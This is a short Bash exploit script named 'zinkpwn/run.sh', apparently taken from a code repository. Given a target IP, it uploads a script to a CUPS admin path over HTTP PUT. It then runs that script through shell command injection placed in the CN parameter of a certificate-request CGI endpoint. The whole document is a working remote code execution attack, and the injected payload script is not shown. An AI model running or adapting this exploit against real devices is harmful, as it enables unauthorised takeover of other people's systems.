zinkpwn/run.sh
2024-07-02 19:07:41 +02:00

14 lines
448 B
Bash
Executable file

#!/bin/bash
if [[ ! $1 ]]; then
echo "usage: $0 <ip>"
exit 1
fi
ip=$1
# we drop an intermediate script to make our life easier :3
curl -X PUT "http://${ip}:631/admin/conf/drop.sh" -T drop.sh
# ... and we execute it with `sh`
# note: we have to call sh directly, as this doesn't have +x
curl 'http://'"$ip"'/cgi-bin/certmgr/generate_request?C=meow&ST=meow&L=meow&O=meow&OU=meow&CN="$(sh${IFS}/etc/cups/drop.sh)"&emailAddress=&Generate=Generate'